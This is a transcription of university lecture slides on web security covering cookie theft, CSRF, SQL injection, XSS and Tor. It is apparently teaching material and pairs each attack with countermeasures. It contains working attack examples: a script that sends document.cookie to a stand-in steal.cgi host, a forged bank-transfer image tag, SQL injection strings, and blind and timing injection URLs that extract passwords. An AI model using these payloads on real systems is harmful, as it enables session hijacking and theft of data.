Web Security. Web security problems



Similar documents
Web security problems*

1. Introduction. 2. Web Application. 3. Components. 4. Common Vulnerabilities. 5. Improving security in Web applications

FINAL DoIT v.4 PAYMENT CARD INDUSTRY DATA SECURITY STANDARDS APPLICATION DEVELOPMENT AND MAINTENANCE PROCEDURES

Criteria for web application security check. Version

Is Drupal secure? A high-level perspective on web vulnerabilities, Drupal s solutions, and how to maintain site security

Check list for web developers

Web application security

Where every interaction matters.

Introduction to Computer Security

Cyber Security Workshop Ethical Web Hacking

Sitefinity Security and Best Practices

Web Application Guidelines

A Server and Browser-Transparent CSRF Defense for Web 2.0 Applications. Slides by Connor Schnaith

Security features of ZK Framework

What is Web Security? Motivation

1. What is SQL Injection?

Web applications. Web security: web basics. HTTP requests. URLs. GET request. Myrto Arapinis School of Informatics University of Edinburgh

Advanced Web Technology 10) XSS, CSRF and SQL Injection 2

Web-Application Security

Hack Proof Your Webapps

WHITE PAPER. FortiWeb and the OWASP Top 10 Mitigating the most dangerous application security threats

Web Application Security

Web Application Security Considerations

Detecting Web Application Vulnerabilities Using Open Source Means. OWASP 3rd Free / Libre / Open Source Software (FLOSS) Conference 27/5/2008

Web Application Security. Vulnerabilities, Weakness and Countermeasures. Massimo Cotelli CISSP. Secure

Secure development and the SDLC. Presented By Jerry

Recommended Practice Case Study: Cross-Site Scripting. February 2007

Magento Security and Vulnerabilities. Roman Stepanov

HTTP. Internet Engineering. Fall Bahador Bakhshi CE & IT Department, Amirkabir University of Technology

Network Security Exercise #8

Last update: February 23, 2004

Web Application Security Assessment and Vulnerability Mitigation Tests

Project 2: Web Security Pitfalls

An Insight into Cookie Security

External Vulnerability Assessment. -Technical Summary- ABC ORGANIZATION

Enterprise Application Security Workshop Series

Testing the OWASP Top 10 Security Issues

How to break in. Tecniche avanzate di pen testing in ambito Web Application, Internal Network and Social Engineering

OWASP and OWASP Top 10 (2007 Update) OWASP. The OWASP Foundation. Dave Wichers. The OWASP Foundation. OWASP Conferences Chair

WEB SECURITY CONCERNS THAT WEB VULNERABILITY SCANNING CAN IDENTIFY

Cross-Site Scripting

Proxies. Chapter 4. Network & Security Gildas Avoine

1.5.5 Cookie Analysis

Still Aren't Doing. Frank Kim

Lecture 11 Web Application Security (part 1)

Advanced Web Security, Lab

Protecting Web Applications and Users

EVALUATING COMMERCIAL WEB APPLICATION SECURITY. By Aaron Parke

Essential IT Security Testing

Kentico CMS security facts

Secure Web Development Teaching Modules 1. Threat Assessment

Recon and Mapping Tools and Exploitation Tools in SamuraiWTF Report section Nick Robbins

Computer security Lecture 10. Web security, Mobile security

Web application security: Testing for vulnerabilities

Cross Site Scripting Prevention

Bug Report. Date: March 19, 2011 Reporter: Chris Jarabek

Ruby on Rails Secure Coding Recommendations

HTTPParameter Pollution. ChrysostomosDaniel

Thick Client Application Security

CS5008: Internet Computing

WEB SECURITY. Oriana Kondakciu Software Engineering 4C03 Project

BlackBerry Enterprise Service 10. Secure Work Space for ios and Android Version: Security Note

1 Introduction: Network Applications

Web Application Security Guidelines for Hosting Dynamic Websites on NIC Servers

Client Server Registration Protocol

CSE598i - Web 2.0 Security OWASP Top 10: The Ten Most Critical Web Application Security Vulnerabilities

APPLICATION SECURITY AND ITS IMPORTANCE

E-commerce. Security. Learning objectives. Internet Security Issues: Overview. Managing Risk-1. Managing Risk-2. Computer Security Classifications

Webmail Using the Hush Encryption Engine

Chapter 1 Web Application (In)security 1

Intrusion detection for web applications

E-Commerce: Designing And Creating An Online Store

Web Application Attacks and Countermeasures: Case Studies from Financial Systems

(WAPT) Web Application Penetration Testing

EC-Council CAST CENTER FOR ADVANCED SECURITY TRAINING. CAST 619 Advanced SQLi Attacks and Countermeasures. Make The Difference CAST.

ASP.NET MVC Secure Coding 4-Day hands on Course. Course Syllabus

External Network & Web Application Assessment. For The XXX Group LLC October 2012

Application Layer Encryption: Protecting against Application Logic and Session Theft Attacks. Whitepaper

Detecting and Exploiting XSS with Xenotix XSS Exploit Framework

OWASP TOP 10 ILIA

Webapps Vulnerability Report

How To Protect A Web Application From Attack From A Trusted Environment

Information Supplement: Requirement 6.6 Code Reviews and Application Firewalls Clarified

Gateway Apps - Security Summary SECURITY SUMMARY

MatriXay WEB Application Vulnerability Scanner V Overview. (DAS- WEBScan ) The best WEB application assessment tool

Web Application Firewall on SonicWALL SRA

Common Security Vulnerabilities in Online Payment Systems

April 11, (Revision 2)

Web Application Penetration Testing

Nuclear Regulatory Commission Computer Security Office Computer Security Standard

State of The Art: Automated Black Box Web Application Vulnerability Testing. Jason Bau, Elie Bursztein, Divij Gupta, John Mitchell

The purpose of this report is to educate our prospective clients about capabilities of Hackers Locked.

VIDEO intypedia007en LESSON 7: WEB APPLICATION SECURITY - INTRODUCTION TO SQL INJECTION TECHNIQUES. AUTHOR: Chema Alonso

Web Application Worms & Browser Insecurity

Application Security Testing. Generic Test Strategy

The Top Web Application Attacks: Are you vulnerable?

Session Hijacking Exploiting TCP, UDP and HTTP Sessions

Network Security Web Security

Hack Yourself First. Troy troyhunt.com

A Survey on Threats and Vulnerabilities of Web Services

Transcription:

Web Security Information Security (bmevihim102) Dr. Levente Buttyán associate professor BME Híradástechnikai Tanszék Lab of Cryptography and System Security (CrySyS) buttyan@hit.bme.hu, buttyan@crysys.hu problems securing transactions between the browser and the server authentication and communication security session hijacking attacks and defenses attacks targeting the server side SQL injection attacks targeting the client side Cross Site Scripting safe execution of mobile code (JavaScript, Java applets) client privacy * Note: this structuring is done only for the purpose of this lecture. 2 1

problems securing transactions between the browser and the server authentication and communication security session hijacking attacks and defenses attacks targeting the server side SQL injection attacks targeting the client side Cross Site Scripting safe execution of mobile code (JavaScript, Java applets) client privacy * Note: this structuring is done only for the purpose of this lecture. 3 Objectives of this lecture understand the basic operation of (and danger behind) the most common types of web based attacks cookie theft and HTTP session hijacking, SQL injection, Cross Site Scripting (XSS), Cross Site Request Forgery (CSRF) introduce some of the possible countermeasures and mitigation techniques input filtering, escaping, and sanitizing safe coding practices anonymous web transactions non-objective: providing a hacker tool-box (examples may not directly work) 4 2

Lecture outline securing HTTP sessions SQL injection Cross Site Scripting Anonymous web transactions 5 Managing HTTP sessions HTTP is stateless, however, many applications need to keep state across different HTTP requests (e.g., to store shopping cart content, user preferences, etc.) available approaches pass state information back and forth between the client and the server in cookies special URL strings hidden form fields keep state at the client side some browsers support persistent storage that can be accessed via scripts (e.g., window.name variable can store large amount of data via JavaScript) Adobe Flash Local Shared Objects a cached script uses the same static variables that can be used to identify a session 6 3

Cookies a cookie is a small piece of text stored on a user's computer by a web browser it consists of one or more name-value pairs it is sent as an HTTP header by a web server to a web browser and then sent back unchanged by the browser each time it accesses that server a cookie can store a session state (e.g., content of a shopping cart) in the name-value pairs or it can just store a session ID that refers to an entry in a session database at the server 7 Setting a cookie first time a browser requests a page from the server: GET /index.html HTTP/1.1 Host: www.example.org the server replies by sending the requested page; the HTTP header may contain cookies sent by the server to be stored by the user: HTTP/1.1 200 OK Content-type: text/html Set-Cookie: name=value (content of page) every subsequent page request to the same server will include the cookie: GET /spec.html HTTP/1.1 Host: www.example.org Cookie: name=value cookies can also be set by JavaScript or similar scripts running within the browser (e.g., document.cookie = "temperature=20 ) 8 4

Cookie attributes name-value pair(s) may collapse the value of a number of variables in a single string, like a=12&b=abcd&c=32 expiration date tells the browser when to delete the cookie if no expiration date is provided, the cookie is deleted at the end of the user session (when quitting the browser) persistent cookies have an expiration date specified path and domain name tell the browser that the cookie has to be sent back to the server when requesting URLs of a given domain and path for security reasons, the cookie is accepted only if the server is a member of the domain specified by the domain string if not specified, the default is the domain and path of the object that was requested when this cookie was sent back flag that indicates if the cookie is intended only for encrypted connections 9 Cookie examples Name: datr Content: 1264825402-e6cf988526e88bc7fdfc3b83c6aef89a Domain:.facebook.com Path: / Send For: Any type of connection Expires: Friday, March 02, 2012 7:49:09 PM Name: VISITOR_INFO1_LIVE Content: kv4aanixgw Domain:.youtube.com Path: / Send For: Any type of connection Expires: Friday, October 29, 2010 10:15:33 AM 10 5

Session hijacking by cookie theft if connection is not encrypted, the cookie is sent in clear sensitive session information may be eavesdropped by an attacker, and used later to steal the session of the victim this problem can be solved by using TLS and setting the cookie such that it is sent only via encrypted connections however, a large number of websites, although using encrypted https communication for user authentication (i.e. the login page), subsequently send session cookies and other data over ordinary, unencrypted http connections for performance reasons 11 Session hijacking by cookie theft another way of stealing cookies is by malicious scripts executing in the browser scripting languages such as JavaScript and JScript are usually allowed to access cookie values and have some means to send arbitrary values to arbitrary servers on the Internet example: <a href="#" onclick = "window.location='http://example.com/steal.cgi?tex t='+escape(document.cookie); return false;">click here!</a> a solution could be to set the HttpOnly flag on the cookie that prevents scripts from accessing the cookie 12 6

Cross Site Request Forgery (CSRF) the attacker includes in a page a link or script that accesses a site to which a victim is known to have been authenticated (e.g., an Internet bank site) when the victim opens this page, the script is executed with the credentials and session state of the victim example: user Alice opened an Internet banking session at abank.com in parallel, she is also using a chat forum Bob posts a message that contains the following link: <img src = "http://abank.com/transfer?from=alice&amount=1000000&to=bob"> when Alice views Bob s post, she also unintentionally sends a request to abank.com with the given parameters note: Alice s browser sends all current credentials and set cookies to abank.com 13 CSRF discussion affects web applications that perform actions based on input from trusted and authenticated users without requiring the user to authorize the specific action e.g., a user who is authenticated by a cookie saved in the user's web browser could unknowingly send an HTTP request together with the cookie to a site that trusts the user (by the cookie) and thereby causes an unwanted action unlike cross-site scripting (XSS), which exploits the trust a user has for a particular site, CSRF exploits the trust that a site has in a user's browser CSRF attacks using images are often made from Internet forums, where users are allowed to post images but not JavaScript 14 7

CSRF limitations the attacker must target a site that doesn't check the Referrer header (which is common) the Referrer in the previous example would point to the chat forum, and the bank could find this suspicious the attacker must find a form submission at the target site, or a URL that has side effects, that does something (e.g., transfers money, or changes the victim's e-mail address or password) the attacker must determine the right values for all the form's or URL's inputs: if any of them are required to be secret authentication values or IDs that the attacker can't guess, the attack will fail the attacker must lure the victim to a Web page with malicious code while the victim is logged in to the target site note that the attack is "blind": the attacker can't see what the target website sends back to the victim in response to the forged requests on the other hand, attack attempts are easy to mount and invisible to victims 15 Third party cookies and tracking cookies are sent only to the server setting them or a server in the same domain however, a web page may contain images or other components stored on third party servers (in other domains) cookies that are set during retrieval of these components are called third-party cookies A.com browser store cookie html page image + cookie for 3rdP.com <img src= 3rdP.com > 3rdP.com 16 8

Third party cookies and tracking advertising companies use third-party cookies to track a user across multiple sites in particular, an advertising company can track a user across all pages where it has placed advertising images when image is downloaded, cookie is sent cookie identifies the user Referrer field in the request header identifies the visited site knowledge of the pages visited by a user allows the advertisement company to target advertisement to the user's presumed preferences even if real user identity is not known, the user is profiled and receives customized information 17 Lecture outline securing HTTP sessions SQL injection Cross Site Scripting Anonymous web transactions 18 9

SQL injection modern web sites often build HTML responses dynamically from data stored in a database (relational DB, SQL queries) SQL injection refers to a family of techniques that maliciously exploit applications that use client-supplied data in SQL statements attacker tricks the SQL engine into executing unintended commands by supplying specially crafted string input as a result, the attacker gains unauthorized access to a database in order to view or manipulate restricted data specific techniques may differ, but they all exploit the same vulnerability in the application: incorrectly validated or non-validated string literals are concatenated into a dynamic SQL statement, and interpreted as code by the SQL engine 19 Simple SQL injection example assume that the server receives an e-mail address email and a password pwd in the HTTP request, and uses them in the following dynamic SQL statement: statement := SELECT * FROM users WHERE EmailAddr = email AND Password = Pwd ; when executed, the server checks if the database returns a record or not; if so, the user is logged in e.g., when email is buttyan@crysys.hu and pwd is kiskacsa, the following statement will be executed: SELECT * FROM users WHERE EmailAddr = buttyan@crysys.hu AND Password = kiskacsa ; 20 10

Simple SQL injection example what if we supply the string OR 1=1; -- as the value for email? (pwd can be anything) the following statement will be executed: SELECT * FROM users WHERE EmailAddr = OR 1=1; -- AND Password = xxx ; 21 Another classical example some SQL servers allow multiple statements to be executed with one call what if we supply the string xxx ; DROP TABLE users; -- as the value for email? the following statement will be executed: SELECT * FROM users WHERE EmailAddr = xxx ; DROP TABLE users; -- AND Password = xxx ; 22 11

Types of SQL injection attacks first order injection the attacker enters a malicious string and causes the modified code to be executed immediately (see previous examples) second order injection the attacker injects into persistent storage (such as a table row) which is deemed as a trusted source; an attack can subsequently be executed by another activity blind attacks no data are directly returned to the attacker timing attacks use timing or other performance indicators to deduce the result (success or failure) of an attack 23 Second order SQL inj. example assume a server stores a database of users with their credit card number e.g., table users has a UserName and a CC_Number column, and user names are assumed to be unique users are allowed to access, review and perhaps modify their profile after authentication the following dynamic SQL statement may be executed statement := SELECT CC_Number FROM users WHERE UserName = uname ; where uname is a user name retrieved from the database based on some authenticated ID 24 12

Second order SQL inj. example what if an attacker registers under the name xxx OR UserName = John Victim? when the attacker reviews his own profile, the following statement will be executed: SELECT CC_Number FROM users WHERE UserName = xxx OR UserName = John Victim ; this will return the credit card number of John Victim to the attacker 25 Blind attacks a web application may be vulnerable to an SQL injection but the results of the injection are not directly visible to the attacker yet, the page may display differently depending on the results of some logical statement injected 1 bit of information a new statement must be crafted for each bit recovered time intensive attack typical test: URL: http://bookstore.com/show.php?id=876192 compare the results returned for http://bookstore.com/show.php?id=876192 and 1=1 http://bookstore.com/show.php?id=876192 and 1=2 if they differ, then the site is vulnerable to blind SQL injection attacks, as you can use the site as an oracle to reveal the truth value of crafted logical statements 26 13

Blind SQL injection examples get the version of MySQL: test for version 4: http://bookstore.com/show.php?id=876192 and substring(@@version,1,1)=4 test for version 5: http://bookstore.com/show.php?id=876192 and substring(@@version,1,1)=5 check if a table called users exists: call this: http://bookstore.com/show.php?id=876192 and (select 1 from users limit 0,1)=1 if table users exists, then condition is TRUE and page displays normally otherwise condition is FALSE and page displays differently 27 More blind SQL injection examples deduce information from the database assume that you figured out that table users has columns called username and password then try this: http://bookstore.com/show.php?id=876192 and ascii(substring((select concat(username,0x3a,password) from users limit 0,1),1,1))>80 where SELECT concat(username,0x3a,password) from users limit 0,1 returns the username and password of the first user in table users substring(str,1,1) returns the first character of str ascii(char) returns the ASCII code of char > is the greater than symbol if page displays normally, than the ASCII code of the first character of the username is greater than 80 keep trying http://bookstore.com/show.php?id=876192 and ascii(substring((select concat(username,0x3a,password) from users limit X,Y),A,B))&<comp>;C 28 14

Timing attacks special type of blind SQL injection that causes the SQL engine to execute a long running query or a time delay statement depending on the logical value injected the attacker can then measure the time the page takes to load to determine if the injected statement is true example: http://bookstore.com/show.php?id=876192; if (select 1 from users)=1 waitfor delay '0:0:10 -- 29 Countermeasures proper setting of access rights to the database e.g., allow only SELECT operation, etc use parameterized statements placeholders, bind arguments filter and sanitize input escaping special characters, conforming to naming conventions, avoid dynamic SQL use static SQL statement text (unless you cannot) static SQL statements cannot change at run time, and hence, they are not vulnerable to SQL injection attacks 30 15

Parameterized statements with most platforms, parameterized statements can be used that work with parameters (sometimes called placeholders or bind variables) instead of embedding user input directly in the statement example: instead of concatenating user input like this: v_stmt := 'SELECT name, salary FROM employees ' 'WHERE department_name = ''' p_department_name ''''; EXECUTE IMMEDIATE v_stmt; use placeholders: v_stmt := 'SELECT name, salary FROM employees ' 'WHERE department_name = :1'; EXECUTE IMMEDIATE v_stmt USING p_department_name; 31 Another example (in PHP) $db = new PDO('pgsql:dbname=database'); $stmt = $db->prepare("select priv FROM testusers WHERE username=:username AND password=:password"); $stmt->bindparam(':username', $user); $stmt->bindparam(':password', $pass); $stmt->execute(); 32 16

Filter and sanitize input with most platforms, a special library of functions is available that filter and sanitize input strings in order to eliminate potentially harmful SQL commands in them examples Oracle: FUNCTION name_elided (LAYER VARCHAR2, OWNER VARCHAR2, FIELD VARCHAR2) RETURN BOOLEAN IS CRS INTEGER; BEGIN CRS := DBMS_SQL.OPEN_CURSOR; DBMS_SQL.PARSE(CRS, 'select sys.dbms_assert.simple_sql_name(field) ' from ' sys.dbms_assert.simple_sql_name(owner) '.' sys.dbms_assert.simple_sql_name(layer) '_elided', DBMS_SQL.NATIVE); MySQL/PHP: $query = sprintf("select * FROM Users where UserName='%s' and Password='%s'", mysql_real_escape_string($username), mysql_real_escape_string($password)); 33 Lecture outline securing HTTP sessions SQL injection Cross Site Scripting Anonymous web transactions 34 17

Cross-site scripting (XSS) XSS a malicious attacker can inject a (client-side) script into a web page that is also viewed by other users when another user views the page, she also downloads and executes the malicious script XSS exploits the trust that the victim has in the (owner of the) visited web site; unfortunately, if the site is vulnerable to XSS, then this trust should not be transferred to the site s content XSS vulnerabilities have been reported and exploited since the 1990s, but recently XSS has become the top security vulnerability roughly 80% of all security vulnerabilities today are XSS vulnerabilities prominent sites (Google, Yahoo!, Facebook, MySpace, Wikipedia, ) have also been affected in the past 35 Persistent (stored) XSS data (script) provided by the attacker is saved by the server, and then permanently displayed on normal pages returned to other users in the course of regular browsing without proper HTML escaping classical example: online message boards where users are allowed to post HTML formatted messages (including scripts) for other users to read in the case of social networking sites, the code could be further designed to self-propagate across accounts, creating a type of a client-side worm attacker inject script A.com victim s browser render page execute script html page with injected script 36 18

Non-persistent (reflected) XSS data provided by a web client (most commonly in HTTP query parameters or in HTML form submissions) is used immediately by server-side scripts to generate a page for that user without properly sanitizing the response classical example: search engines return the search string along with the search result, and both are displayed by the client s browser is this really a problem? yes, it is: an attacker may easily place hidden frames or deceptive links on unrelated sites and cause the victims' browsers to navigate to URLs on the vulnerable site automatically often completely in the background anysite victim s browser attacker process html call site mysearch render response execute script html page with hidden frame send script as parameter return page with script mysearch <HTML> <iframe src = http://www.mysearch.com/ search.pl?text=<script> </scrip t> allowtransparency="true"> 37 XSS mitigation validate and reject undesirable characters in input fields escape all untrusted input data before outputting it using a method appropriate for the output context HTML numeric entity encoding (<script> <script>) JavaScript escaping (<script> %3Cscript%3E) URL (or percent) encoding (e.g., < %3C, > %3E, ) CSS escaping disabling scripts some browsers or browser plugins can be configured to disable client-side scripts on a per-domain basis default should be block all, and user should be able to enable scripts from specific domains examples: IE Security Zones, Mozilla NoScript add-on 38 19

Lecture outline securing HTTP sessions SQL injection Cross Site Scripting Anonymous web transactions 39 Basic anonymity concepts What do we want to hide? sender anonymity attacker cannot determine who the sender of a particular message is receiver anonymity attacker cannot determine who the intended receiver of a particular message is unlinkability attacker may determine senders and receivers but not the associations between them (attacker doesn t know who communicates with whom) From whom do we want to hide this? external attackers local eavesdropper (sniffing on a particular link (e.g., LAN)) global eavesdropper (observing traffic in the whole network) internal attackers (colluding) compromised elements of the anonymity system communication partner 40 20

Anonymizing proxy application level proxy that relays messages back and forth between a user and a service provider properties: ensures only sender anonymity with respect to the communicating partner (service provider does not know who the real user is) a local eavesdropper near the proxy and a global eavesdropper can see both the sender and the receiver information proxy needs to be trusted for not leaking information (it may be coerced by law enforcement agencies!) even if the communication between the user and the proxy, as well as between the proxy and the server is encrypted, a naïve implementation would have the same properties (weaknesses) 41 MIXes a MIX is a proxy that relays messages between communicating partners such that it changes encoding of messages batches incoming messages before outputting them changes order of messages when outputting them (may output dummy messages) MIX MIX properties: sender anonymity w.r.t. communication partner unlinkability w.r.t. global (and hence local) eavesdroppers the MIX still needs to be trusted 42 21

MIX cascade (network) defense against colluding compromised MIXes if a single MIX behaves correctly, unlinkability is still achieved MIX MIX MIX MIX MIX MIX 43 The Tor network Tor is a low-latency (real-time) mix-based anonymous communication service the Tor network is an overlay network consisting of onion routers (OR) ORs are user-level processes operated by volunteers in the Internet a few special directory servers keep track of the ORs in the network each OR has a descriptor (keys, address, bandwidth, exit policy, etc.) each OR maintains a TLS connection to all other ORs users run an onion proxy (OP) locally, which establishes virtual circuits across the Tor network, and multiplexes TCP streams coming from applications over those virtual circuits the last OR in a circuit connects to the requested destination and behaves as if it was the originator of the traffic 44 22

The Tor network illustrated circuit TCP stream destination Appl TLS connections initiator OR Appl OP 45 Cells data within the Tor network are carried in fixed sized cells (512 bytes) cell types control cells used to manage (set up and destroy) circuits 2 1 509 CircID Cmd DATA relay cells used to manage (extend and truncate) circuits, to manage (open and close) streams, and to carry end-to-end stream data 2 1 2 6 2 1 498 CircID Rly StreamID Digest Length Cmd DATA 46 23

Setting up a circuit circuits are shared by multiple TCP streams they are established in the background OPs can recover from failed circuit creation attempts without harming user experience OPs rotate to a new circuit once a minute a circuit is established incrementally, in a telescoping manner a circuit is established to the first OR on the selected path by setting up a shared key between the OP and that OR this circuit is extended to the next OR by setting up a shared key with that OR; this already uses the circuit established in the previous step and so on OP OR OR OR 47 Establishment of shared keys Diffie-Hellman based protocol: OP OR: E PK_OR (g x ) OR OP: g y H(K handshake ) where K is the established key g xy properties: unilateral entity authentication (OP knows that it is talking to OR, but not vice versa) unilateral key authentication (OP knows that only OR knows the key) key freshness (due to the fresh DH contributions of the parties) perfect forward secrecy (assuming that OR deletes the shared key K when it is no longer used) if OR is later compromised, it cannot be used to decrypt old (recorded) traffic 48 24

Relaying cells on circuits application data is sent in relay cells OP encrypts the cell iteratively with all the keys that it shares with the ORs on the path (onion-like layered encryption) each OR peals off one layer of encryption last OR sends cleartext data to the destination on the way back, each OR encrypts the cell (adds one layer), and the OP removes all encryptions AES is used in CTR mode (stream cipher) encryption does not change the length 49 Opening and closing streams opening: the TCP connection request from the application is re-directed to the local OP (via SOCKS) OP chooses an open circuit (the newest one), and an appropriate OR to be the exit node (usually the last OR, but maybe another due to exit policy conflicts) OP opens the stream by sending a relay begin cell to the exit OR the exit OR connects to the given destination host, and responds with a relay connected cell the OP informs the application (via SOCKS) that it is now ready to accept the TCP stream OP receives the TCP stream, packages it into relay data cells, and sends those cells through the circuit closing: OP or exit OR sends a relay end cell to the other party, which responds with its own relay end cell 50 25

Operation illustrated OP OR 1 OR 2 website C 1, Create, E(g X1 ) C 1, Created, g Y1, H(K 1 ) C 1, Relay, {, Extend, OR 2, E(g X2 )} K1 C 1, Relay, {, Extended, g Y2, H(K 2 )} K1 C 2, Create, E(g X2 ) C 2, Created, g Y2, H(K 2 ) C 1, Relay, {{, Begin, website} K2 } K1 C 1, Relay, {{, Connected} K2 } K1 C 2, Relay, {, Begin, website} K2 C 2, Relay, {, Connected} K2 TCP handshake C 1, Relay, {{, Data, HTTP Get } K2 } K1 C 1, Relay, {{, Data, HTTP } K2 } K1 C 2, Relay, {, Data, HTTP Get } K2 C 2, Relay, {, Data, HTTP } K2 HTTP Get HTTP 51 Exit policies problem: hackers can launch their attacks via the Tor network no easy way to identify the real origin of the attacks exit nodes can be accused this can discourage volunteers to participate in the Tor network fewer ORs means lower level of anonymity solution: each OR has an exit policy specifies to which external addresses and ports the node will connect examples: open exit such nodes will connect anywhere middleman such nodes only relay traffic to other Tor nodes private exit only connect to the local host or network restricted exit prevent access to certain abuse-prone addresses and services (e.g., SMTP) 52 26

Rendez-vous and hidden services Tor allows someone to offer a TCP-based service anonymously (without revealing his IP address to the world) the server s OP chooses some ORs as introduction points and builds a circuit to each of these introduction points the service provider advertises his service and the related introduction points by some anonymous directory service the client s OP chooses an OR as the rendez-vous point, builds a circuit to the rendez-vous point, and gives it a random rendez-vous cookie the client OP builds a circuit to one of the service introduction points, opens an anonymous stream to the server, and sends the cookie and a reference to the rendez-vous point the server OP builds a circuit to the given rendez-vous point and sends the cookie the rendez-vous point verifies the cookie and connects the client circuit to the server circuit the client establishes an anonymous stream through the new circuit 53 Rendez-vous illustrated introduction point hidden service OP Appl cookie OR initiator TLS connections cookie Appl OP introduction point rendez-vous point (cookie) 54 27

Some attacks end-to-end timing (or size) correlation an attacker watching traffic patterns at the initiator and the responder will be able to confirm the correspondence with high probability it was not the goal of Tor to prevent this website fingerprinting an attacker can build up a database containing file sizes and access patterns for targeted websites he can later confirm a user s connection to a given website by observing the traffic at the user s side and consulting the database in case of Tor, granularity of fingerprinting is limited by the cell size tagging attacks an attacker can tag a cell by altering it, and observing where the garbled content comes out of the network integrity protection of cells prevent this 55 What is Tor good for? anonymous web browsing anonymous e-mail anonymous remote electronic voting carrying out malicious activity anonymously we installed a Tor OR and ran it for 72 hours we could observe 2216 sessions in clear (where our OR was the exit router) where a password was transmitted (most probably on-line password guessing attempts) some statistics: allotracker.com: 1285 yahoo.com 59 games.amil.ru 18 tracker.zamunda.net 140 nntp: 25 http: 1900 pop3: 286 other: 5 56 28

Summary web based vulnerabilities dominate the list of all reported vulnerabilities attackers target end-users and aim for financial gain attackers are organized and established an underground economy where they trade assets (e-mail addresses, e-mail accounts, credit card numbers, ) main web security problems session management, session hijacking (authentication methods, cookie theft, cross site request forgery, third party cookies and tracking users) SQL injection (filtering and sanitizing input, safe coding practices) Cross Site Scripting (sanitizing server output) privacy of web transactions (mix networks, e.g., Tor) 57 29